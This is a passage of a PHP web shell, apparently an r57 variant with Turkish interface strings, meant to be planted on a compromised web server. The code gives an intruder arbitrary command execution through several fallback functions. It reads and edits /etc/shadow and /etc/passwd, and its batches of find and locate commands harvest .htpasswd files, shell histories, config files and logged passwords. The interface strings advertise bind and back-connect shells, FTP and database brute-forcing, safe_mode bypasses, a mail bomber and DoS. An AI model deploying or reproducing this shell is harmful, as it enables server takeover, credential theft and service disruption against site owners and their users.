1733{$_POST['cmd'] = 'dmesg(8)';}
1734
1735if(isset($_GET['free']))
1736
1737{$_POST['cmd'] = 'free';}
1738
1739if(isset($_GET['vmstat']))
1740
1741{$_POST['cmd'] = 'vmstat';}
1742
1743if(isset($_GET['lspci']))
1744
1745{$_POST['cmd'] = 'lspci';}
1746
1747if(isset($_GET['lsdev']))
1748
1749{$_POST['cmd'] = 'lsdev';}
1750
1751if(isset($_GET['procinfo']))
1752
1753{$_POST['cmd']='cat /proc/cpuinfo';}
1754
1755if(isset($_GET['version']))
1756
1757{$_POST['cmd']='cat /proc/version';}
1758
1759if(isset($_GET['interrupts']))
1760
1761{$_POST['cmd']='cat /proc/interrupts';}
1762
1763if(isset($_GET['realise1']))
1764
1765{$_POST['cmd'] = 'cat /etc/*realise';}
1766
1767if(isset($_GET['service']))
1768
1769{$_POST['cmd'] = 'service --status-all';}
1770
1771if(isset($_GET['ifconfig']))
1772
1773{$_POST['cmd'] = 'ifconfig';}
1774
1775if(isset($_GET['w']))
1776
1777{$_POST['cmd'] = 'w';}
1778
1779if(isset($_GET['who']))
1780
1781{$_POST['cmd'] = 'who';}
1782
1783if(isset($_GET['uptime']))
1784
1785{$_POST['cmd'] = 'uptime';}
1786
1787if(isset($_GET['last']))
1788
1789{$_POST['cmd'] = 'last -n 10';}
1790
1791if(isset($_GET['psaux']))
1792
1793{$_POST['cmd'] = 'ps -aux';}
1794
1795if(isset($_GET['netstat']))
1796
1797{$_POST['cmd'] = 'netstat -a';}
1798
1799if(isset($_GET['lsattr']))
1800
1801{$_POST['cmd'] = 'lsattr -va';}
1802
1803if(isset($_GET['syslog']))
1804
1805{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
1806
1807if(isset($_GET['fstab']))
1808
1809{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
1810
1811if(isset($_GET['fdisk']))
1812
1813{$_POST['cmd'] = 'fdisk -l';}
1814
1815if(isset($_GET['df']))
1816
1817{$_POST['cmd'] = 'df -h';}
1818
1819if(isset($_GET['realise2']))
1820
1821{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
1822
1823if(isset($_GET['hosts']))
1824
1825{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
1826
1827if(isset($_GET['resolv']))
1828
1829{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
1830
1831if(isset($_GET['systeminfo']))
1832
1833{$_POST['cmd'] = 'systeminfo';}
1834
1835if(isset($_GET['shadow']))
1836
1837{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
1838
1839if(isset($_GET['passwd']))
1840
1841{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
1842
1843$lang=array(
1844
1845'tr_text1'=>'Komut Uygula',
1846
1847'tr_text2'=>'Server uzerinde komut calistir ',
1848
1849'tr_text3'=>'Komut istemi ',
1850
1851'tr_text4'=>'Calisma Dizini ',
1852
1853'tr_text5'=>'Servere Dosya Upload Et',
1854
1855'tr_text6'=>'Yerel Dosya ',
1856
1857'tr_text7'=>'Dizin Veya Dosya Bul ',
1858
1859'tr_text8'=>'Sec',
1860
1861'tr_butt1'=>'Uygula',
1862
1863'tr_butt2'=>'Yukle',
1864
1865'tr_text9'=>'Porta baglan /bin/bash',
1866
1867'tr_text10'=>'Port',
1868
1869'tr_text11'=>'Sifre Giris',
1870
1871'tr_butt3'=>'Baglan',
1872
1873'tr_text12'=>'Back-Connect',
1874
1875'tr_text13'=>'IP',
1876
1877'tr_text14'=>'Port',
1878
1879'tr_butt4'=>'Baglan',
1880
1881'tr_text15'=>'Uzaktan servere dosya yukle',
1882
1883'tr_text16'=>'ile',
1884
1885'tr_text17'=>'Uzak Dosya',
1886
1887'tr_text18'=>'Yerel Dosya',
1888
1889'tr_text19'=>'Exploits',
1890
1891'tr_text20'=>'Kullan',
1892
1893'tr_text21'=>' Yeni ad',
1894
1895'tr_text22'=>'datapipe',
1896
1897'tr_text23'=>'Yerel Port',
1898
1899'tr_text24'=>'Uzak Host',
1900
1901'tr_text25'=>'Uzak Port',
1902
1903'tr_text26'=>'Kullan',
1904
1905'tr_butt5'=>'Iste',
1906
1907'tr_text28'=>'Guvenlik Modunda Calis',
1908
1909'tr_text29'=>'Giris Yok ',
1910
1911'tr_butt6'=>'Degistir',
1912
1913'tr_text30'=>'Cat file',
1914
1915'tr_butt7'=>'Goster',
1916
1917'tr_text31'=>'Dosya Bulunamadi',
1918
1919'tr_text32'=>'PHP Kod Degerlendir ',
1920
1921'tr_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
1922
1923'tr_butt8'=>'Testet',
1924
1925'tr_text34'=>'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.',
1926
1927'tr_text35'=>'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.',
1928
1929'tr_text36'=>'Database[VeriTabani]',
1930
1931'tr_text37'=>'Kullanici',
1932
1933'tr_text38'=>'Sifre',
1934
1935'tr_text39'=>'Tablo',
1936
1937'tr_text40'=>'Dump database table[DB Tablosu dok]',
1938
1939'tr_butt9'=>'Dump',
1940
1941'tr_text41'=>'DB dosyalarini kaydet.[Dump filed]',
1942
1943'tr_text42'=>'Dosya Duzenle ',
1944
1945'tr_text43'=>'Dosya Duzenlemek icin',
1946
1947'tr_butt10'=>'Kaydet',
1948
1949'tr_text44'=>'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor',
1950
1951'tr_text45'=>'Dosya Kaydedildi',
1952
1953'tr_text46'=>'PHP info Goster()',
1954
1955'tr_text47'=>'Php.ini dosyasinda ki degiskenleri goster',
1956
1957'tr_text48'=>'Temp dosylarini sil',
1958
1959'tr_butt11'=>'Dosya Duzenle',
1960
1961'tr_text49'=>'Server dan bu scripti sil',
1962
1963'tr_text50'=>'CPU bilgisini incele',
1964
1965'tr_text51'=>'Memory[hafiza] bilgisini incele]',
1966
1967'tr_text52'=>'Metni Bul ',
1968
1969'tr_text53'=>'Klasor Bul',
1970
1971'tr_text54'=>'Dosyalarda ki Metni Bul',
1972
1973'tr_butt12'=>'Bul',
1974
1975'tr_text55'=>'Dosya Bul ',
1976
1977'tr_text56'=>'Bulunmadi :( KeyCoder :)',
1978
1979'tr_text57'=>'Olustur/Sil Dosya/Dizin ',
1980
1981'tr_text58'=>'isim',
1982
1983'tr_text59'=>'Dosya',
1984
1985'tr_text60'=>'Dizin',
1986
1987'tr_butt13'=>'Olustur/Sil',
1988
1989'tr_text61'=>'Dosya Olustur',
1990
1991'tr_text62'=>'Dizin Olustur',
1992
1993'tr_text63'=>'Dosya Sil',
1994
1995'tr_text64'=>'Dizin Sil',
1996
1997'tr_text65'=>'Olustur',
1998
1999'tr_text66'=>'Sil',
2000
2001'tr_text67'=>'Chown/Chgrp/Chmod',
2002
2003'tr_text68'=>'Uygula',
2004
2005'tr_text69'=>'param1',
2006
2007'tr_text70'=>'param2',
2008
2009'tr_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
2010
2011'tr_text72'=>'Metin Bul',
2012
2013'tr_text73'=>'Klasor Bul',
2014
2015'tr_text74'=>'Dosya Bul',
2016
2017'tr_text75'=>'* you can use regexp',
2018
2019'tr_text76'=>'Metin Ara Dosyalarin icinde Arama Yoluyla',
2020
2021'tr_text80'=>'Cesit',
2022
2023'tr_text81'=>'Net',
2024
2025'tr_text82'=>'Databases',
2026
2027'tr_text83'=>'SQL Sorgusu Yap',
2028
2029'tr_text84'=>'SQL Sorgusu',
2030
2031'tr_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
2032
2033'tr_text86'=>'Download files from server',
2034
2035'tr_butt14'=>'Download',
2036
2037'tr_text87'=>'Download files from remote ftp-server',
2038
2039'tr_text88'=>'server:port',
2040
2041'tr_text89'=>'File on ftp',
2042
2043'tr_text90'=>'Transfer mode',
2044
2045'tr_text91'=>'Archivation',
2046
2047'tr_text92'=>'without arch.',
2048
2049'tr_text93'=>'FTP',
2050
2051'tr_text94'=>'FTP-bruteforce',
2052
2053'tr_text95'=>'Users list',
2054
2055'tr_text96'=>'Can\'t get users list',
2056
2057'tr_text97'=>'checked: ',
2058
2059'tr_text98'=>'success: ',
2060
2061'tr_text99'=>'/etc/passwd',
2062
2063'tr_text100'=>'Send file to remote ftp server',
2064
2065'tr_text101'=>'Use reverse (user -> resu)',
2066
2067'tr_text102'=>'Mail',
2068
2069'tr_text103'=>'Send email',
2070
2071'tr_text104'=>'Send file to email',
2072
2073'tr_text105'=>'To',
2074
2075'tr_text106'=>'From',
2076
2077'tr_text107'=>'Subj',
2078
2079'tr_butt15'=>'Send',
2080
2081'tr_text108'=>'Mail',
2082
2083'tr_text109'=>'Hide',
2084
2085'tr_text110'=>'Show',
2086
2087'tr_text111'=>'SQL-Server : Port',
2088
2089'tr_text112'=>'Test bypass safe_mode with function mb_send_mail (PHP <= 4.0-4.2.2, 5.x)',
2090
2091'tr_text113'=>'Test bypass safe_mode, view dir list via imap_list (PHP <= 5.1.2)',
2092
2093'tr_text114'=>'Test bypass safe_mode, view file contest via imap_body (PHP <= 5.1.2)',
2094
2095'tr_text115'=>'Test bypass safe_mode, copy file via copy[compress.zlib://] (PHP <= 4.4.2, 5.1.2)',
2096
2097'tr_text116'=>'Copy from',
2098
2099'tr_text117'=>'to',
2100
2101'tr_text118'=>'File copied',
2102
2103'tr_text119'=>'Cant copy file',
2104
2105'tr_text120'=>'Test bypass safe_mode via ini_restore (PHP <= 4.4.4, 5.1.6) by NST',
2106
2107'tr_text121'=>'Test bypass open_basedir, view dir list via fopen (PHP v4.4.0 memory leak) by NST',
2108
2109'tr_text122'=>'Test bypass open_basedir, view dir list via glob (PHP <= 5.2.x)',
2110
2111'tr_text123'=>'Test bypass open_basedir, read *.bzip file via [compress.bzip2://] (PHP <= 5.2.1)',
2112
2113'tr_text124'=>'Test bypass open_basedir, add data to file via error_log[php://] (PHP <= 5.1.4, 4.4.2)',
2114
2115'tr_text125'=>'Data',
2116
2117'tr_text126'=>'Test bypass open_basedir, create file via session_save_path[NULL-byte] (PHP <= 5.2.0)',
2118
2119'tr_text127'=>'Test bypass open_basedir, add data to file via readfile[php://] (PHP <= 5.2.1, 4.4.4)',
2120
2121'tr_text128'=>'Modify/Access date(touch)',
2122
2123'tr_text129'=>'Test bypass open_basedir, create file via fopen[srpath://] (PHP v5.2.0)',
2124
2125'tr_text130'=>'Test bypass open_basedir, read *.zip file via [zip://] (PHP <= 5.2.1)',
2126
2127'tr_text131'=>'Test bypass open_basedir, view file contest via symlink() (PHP <= 5.2.1)',
2128
2129'tr_text132'=>'Test bypass open_basedir, view dir list via symlink() (PHP <= 5.2.1)',
2130
2131'tr_text133'=>'',
2132
2133'tr_text134'=>'Database-bruteforce',
2134
2135'tr_text135'=>'Dictionary',
2136
2137'tr_text136'=>'Creating evil symlink',
2138
2139'tr_text137'=>'Useful',
2140
2141'tr_text138'=>'Dangerous',
2142
2143'tr_text139'=>'Mail Bomber',
2144
2145'tr_text140'=>'DoS',
2146
2147'tr_text141'=>'Danger! Web-daemon crash possible.',
2148
2149'tr_err0'=>'Error! Can\'t write in file ',
2150
2151'tr_err1'=>'Error! Can\'t read file ',
2152
2153'tr_err2'=>'Error! Can\'t create ',
2154
2155'tr_err3'=>'Error! Can\'t connect to ftp',
2156
2157'tr_err4'=>'Error! Can\'t login on ftp server',
2158
2159'tr_err5'=>'Error! Can\'t change dir on ftp',
2160
2161'tr_err6'=>'Error! Can\'t sent mail',
2162
2163'tr_err7'=>'Mail send',
2164
2165);
2166
2167$aliases=array(
2168
2169'----------------------------------locate'=>'',
2170
2171'locate httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
2172
2173'locate vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
2174
2175'locate proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
2176
2177'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate psybnc.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
2178
2179'locate my.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate my.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
2180
2181'locate admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2182
2183'locate cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2184
2185'locate conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2186
2187'locate config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
2188
2189'locate config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2190
2191'locate config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
2192
2193'locate config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2194
2195'locate config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2196
2197'locate .conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
2198
2199'locate .pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
2200
2201'locate .sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
2202
2203'locate .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".htpasswd" >> /tmp/grep.txt;cat /tmp/grep.txt',
2204
2205'locate .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".bash_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
2206
2207'locate .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".mysql_history" >> /tmp/grep.txt;cat /tmp/grep.txt',
2208
2209'locate backup files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate backup >> /tmp/grep.txt;cat /tmp/grep.txt',
2210
2211'locate dump files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate dump >> /tmp/grep.txt;cat /tmp/grep.txt',
2212
2213'locate priv files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate priv >> /tmp/grep.txt;cat /tmp/grep.txt',
2214
2215'----------------------------------tar'=>'',
2216
2217'tar -czvf all.tgz -T /tmp/grep.txt'=>'tar -czvf all.tgz -T /tmp/grep.txt',
2218
2219'----------------------------------1'=>'',
2220
2221'locate access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
2222
2223'locate error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
2224
2225'locate access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
2226
2227'locate error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
2228
2229'locate ".log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'locate ".log" >> /tmp/grep.txt;cat /tmp/grep.txt',
2230
2231'----------------------------------2'=>'',
2232
2233'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt;cat /tmp/grep.txt'=>'cat /var/log/httpd/access_log | grep pass >> /tmp/grep.txt',
2234
2235'----------------------------------find'=>'',
2236
2237'find suid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2238
2239'find suid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -04000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2240
2241'find sgid files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2242
2243'find sgid files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -02000 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2244
2245'find all writable files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2246
2247'find all writable files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type f -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2248
2249'find all writable directories >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2250
2251'find all writable directories in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -type d -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2252
2253'find all writable directories and files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2254
2255'find all writable directories and files in current dir >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find . -perm -2 -ls >> /tmp/grep.txt;cat /tmp/grep.txt',
2256
2257'find all .htpasswd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .htpasswd >> /tmp/grep.txt;cat /tmp/grep.txt',
2258
2259'find all .bash_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .bash_history >> /tmp/grep.txt;cat /tmp/grep.txt',
2260
2261'find all .mysql_history files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .mysql_history >> /tmp/grep.txt;cat /tmp/grep.txt',
2262
2263'find all .fetchmailrc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name .fetchmailrc >> /tmp/grep.txt;cat /tmp/grep.txt',
2264
2265'find httpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name httpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
2266
2267'find vhosts.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name vhosts.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
2268
2269'find proftpd.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name proftpd.conf >> /tmp/grep.txt;cat /tmp/grep.txt',
2270
2271'find admin.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name admin.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2272
2273'find config* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "config*" >> /tmp/grep.txt;cat /tmp/grep.txt',
2274
2275'find cfg.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name cfg.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2276
2277'find conf.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name conf.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2278
2279'find config.dat files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.dat >> /tmp/grep.txt;cat /tmp/grep.txt',
2280
2281'find config.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2282
2283'find config.inc files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc >> /tmp/grep.txt;cat /tmp/grep.txt',
2284
2285'find config.inc.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.inc.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2286
2287'find config.default.php files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name config.default.php >> /tmp/grep.txt;cat /tmp/grep.txt',
2288
2289'find *.conf files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.conf" >> /tmp/grep.txt;cat /tmp/grep.txt',
2290
2291'find *.pwd files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.pwd" >> /tmp/grep.txt;cat /tmp/grep.txt',
2292
2293'find *.sql files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*.sql" >> /tmp/grep.txt;cat /tmp/grep.txt',
2294
2295'find *backup* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*backup*" >> /tmp/grep.txt;cat /tmp/grep.txt',
2296
2297'find *dump* files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find / -type f -name "*dump*" >> /tmp/grep.txt;cat /tmp/grep.txt',
2298
2299'-----------------------------------'=>'',
2300
2301'find /var/ access_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access_log >> /tmp/grep.txt;cat /tmp/grep.txt',
2302
2303'find /var/ error_log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error_log >> /tmp/grep.txt;cat /tmp/grep.txt',
2304
2305'find /var/ access.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name access.log >> /tmp/grep.txt;cat /tmp/grep.txt',
2306
2307'find /var/ error.log files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name error.log >> /tmp/grep.txt;cat /tmp/grep.txt',
2308
2309'find /var/ "*.log" files >> /tmp/grep.txt;cat /tmp/grep.txt'=>'find /var/ -type f -name "*.log" >> /tmp/grep.txt;cat /tmp/grep.txt',
2310
2311'----------------------------------------------------------------------------------------------------'=>'ls -la'
2312
2313);
2314
2315$table_up1 = "<tr><td bgcolor=#333333><font face=Verdana size=-2><b><div align=center>:: ";
2316
2317$table_up2 = " ::</div></b></font></td></tr><tr><td>";
2318
2319$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#008000><tr><td bgcolor=#333333>";
2320
2321$table_end1 = "</td></tr>";
2322
2323$arrow = " <font face=Webdings color=gray>4</font>";
2324
2325$lb = "<font color=green>[</font>";
2326
2327$rb = "<font color=green>]</font>";
2328
2329$font = "<font face=Verdana size=-2>";
2330
2331$ts = "<table class=table1 width=100% align=center>";
2332
2333$te = "</table>";
2334
2335$fs = "<form name=form method=POST>";
2336
2337$fe = "</form>";
2338
2339if(isset($_GET['users']))
2340
2341{
2342
2343if(!$users=get_users('/etc/passwd')) {echo "<center><font face=Verdana size=-2 color=red>".$lang[$language.'_text96']."</font></center>";}
2344
2345else
2346
2347{
2348
2349echo '<center>';
2350
2351foreach($users as $user) {echo $user."<br>";}
2352
2353echo '</center>';
2354
2355}
2356
2357echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();
2358
2359}
2360
2361if (!empty($_POST['dir'])) {if(@function_exists('chdir')){@chdir($_POST['dir']);}else if(@function_exists('chroot')){@chroot($_POST['dir']);};}
2362
2363if (empty($_POST['dir'])){if(@function_exists('chdir')){$dir = @getcwd();};}else{$dir=$_POST['dir'];}
2364
2365$unix = 0;
2366
2367if(strlen($dir)>1 &&$dir[1]==":") $unix=0;else $unix=1;
2368
2369if(empty($dir))
2370
2371{
2372
2373$os = getenv('OS');
2374
2375if(empty($os)){$os = @php_uname();}
2376
2377if(empty($os)){$os ="-";$unix=1;}
2378
2379else
2380
2381{
2382
2383if(@eregi("^win",$os)) {$unix = 0;}
2384
2385else {$unix = 1;}
2386
2387}
2388
2389}
2390
2391if(!empty($_POST['s_dir']) &&!empty($_POST['s_text']) &&!empty($_POST['cmd']) &&$_POST['cmd'] == "search_text")
2392
2393{
2394
2395echo $head;
2396
2397if(!empty($_POST['s_mask']) &&!empty($_POST['m'])) {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']);}
2398
2399else {$sr = new SearchResult($_POST['s_dir'],$_POST['s_text']);}
2400
2401$sr->SearchText(0,0);
2402
2403$res = $sr->GetResultFiles();
2404
2405$found = $sr->GetMatchesCount();
2406
2407$titles = $sr->GetTitles();
2408
2409$r = "";
2410
2411if($found >0)
2412
2413{
2414
2415$r .= "<TABLE width=100%>";
2416
2417foreach($res as $file=>$v)
2418
2419{
2420
2421$r .= "<TR>";
2422
2423$r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3);
2424
2425$r .= (!$unix)?str_replace("/","\\",$file) : $file;
2426
2427$r .= "</b></font></ TD>";
2428
2429$r .= "</TR>";
2430
2431foreach($v as $a=>$b)
2432
2433{
2434
2435$r .= "<TR>";
2436
2437$r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>";
2438
2439$r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>";
2440
2441$r .= "</TR>\n";
2442
2443}
2444
2445}
2446
2447$r .= "</TABLE>";
2448
2449echo $r;
2450
2451}
2452
2453else
2454
2455{
2456
2457echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>";
2458
2459}
2460
2461echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
2462
2463die();
2464
2465}
2466
2467if(!$safe_mode &&strpos(ex("echo abcr57"),"r57")!=3) {$safe_mode = 1;}
2468
2469$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
2470
2471if(empty($SERVER_SOFTWARE)){$SERVER_SOFTWARE = "-";}
2472
2473function ws($i)
2474
2475{
2476
2477return @str_repeat(" ",$i);
2478
2479}
2480
2481function ex($cfe)
2482
2483{
2484
2485$res = '';
2486
2487if (!empty($cfe))
2488
2489{
2490
2491if(@function_exists('exec'))
2492
2493{
2494
2495@exec($cfe,$res);
2496
2497$res = join("\n",$res);
2498
2499}
2500
2501elseif(@function_exists('shell_exec'))
2502
2503{
2504
2505$res = @shell_exec($cfe);
2506
2507}
2508
2509elseif(@function_exists('system'))
2510
2511{
2512
2513@ob_start();
2514
2515@system($cfe);
2516
2517$res = @ob_get_contents();
2518
2519@ob_end_clean();
2520
2521}
2522
2523elseif(@function_exists('passthru'))
2524
2525{
2526
2527@ob_start();
2528
2529@passthru($cfe);
2530
2531$res = @ob_get_contents();
2532
2533@ob_end_clean();
2534
2535}
2536
2537elseif(@is_resource($f = @popen($cfe,"r")))
2538
2539{
2540
2541$res = "";
2542
2543if(@function_exists('fread') &&@function_exists('feof')){
2544
2545while(!@feof($f)) {$res .= @fread($f,1024);}
2546
2547}else if(@function_exists('fgets') &&@function_exists('feof')){
2548
2549while(!@feof($f)) {$res .= @fgets($f,1024);}
2550
2551}
2552
2553@pclose($f);
2554
2555}
2556
2557elseif(@is_resource($f = @proc_open($cfe,array(1 =>array("pipe","w")),$pipes)))
2558
2559{
2560
2561$res = "";
2562
2563if(@function_exists('fread') &&@function_exists('feof')){
2564
2565while(!@feof($pipes[1])) {$res .= @fread($pipes[1],1024);}
2566
2567}else if(@function_exists('fgets') &&@function_exists('feof')){
2568
2569while(!@feof($pipes[1])) {$res .= @fgets($pipes[1],1024);}
2570
2571}
2572
2573@proc_close($f);
2574
2575}
2576
2577elseif(@function_exists('pcntl_exec')&&@function_exists('pcntl_fork'))
2578
2579{
2580
2581$res = '[~] Blind Command Execution via [pcntl_exec]\n\n';
2582
2583$pid = @pcntl_fork();
2584
2585if ($pid == -1) {
2586
2587$res .= '[-] Could not children fork. Exit';
2588
2589}else if ($pid) {
2590
2591if (@pcntl_wifexited($status)){$res .= '[+] Done! Command "'.$cfe.'" successfully executed.';}
2592
2593else {$res .= '[-] Error. Command incorrect.';}
2594
2595}else {
2596
2597$cfe = array(" -e 'system(\"$cfe\")'");
2598
2599if(@pcntl_exec('/usr/bin/perl',$cfe)) exit(0);
2600
2601if(@pcntl_exec('/usr/local/bin/perl',$cfe)) exit(0);
2602
2603die();
2604
2605}
2606
2607}
2608
2609}
2610
2611return $res;
2612
2613}
2614
2615function get_users($filename)
2616
2617{
2618
2619$users = array();
2620
2621$rows=@explode("\n",readzlib($filename));
2622
2623if(!$rows) return 0;
2624
2625foreach ($rows as $string)
2626
2627{
2628
2629$user = @explode(":",trim($string));
2630
2631if(substr($string,0,1)!='#') array_push($users,$user[0]);
2632
2633}
2634
2635return $users;
2636
2637}
2638
2639function err($n,$txt='')
2640
2641{
2642
2643echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#333333><font color=red face=Verdana size=-2><div align=center><b>';
2644
2645echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
2646
2647if(!empty($txt)) {echo " $txt";}
2648
2649echo '</b></div></font></td></tr></table>';
2650
2651return null;
2652
2653}
2654
2655function perms($mode)
2656
2657{
2658
2659if (!$GLOBALS['unix']) return 0;
2660
2661if( $mode &0x1000 ) {$type='p';}
2662
2663else if( $mode &0x2000 ) {$type='c';}
2664
2665else if( $mode &0x4000 ) {$type='d';}
2666
2667else if( $mode &0x6000 ) {$type='b';}
2668
2669else if( $mode &0x8000 ) {$type='-';}
2670
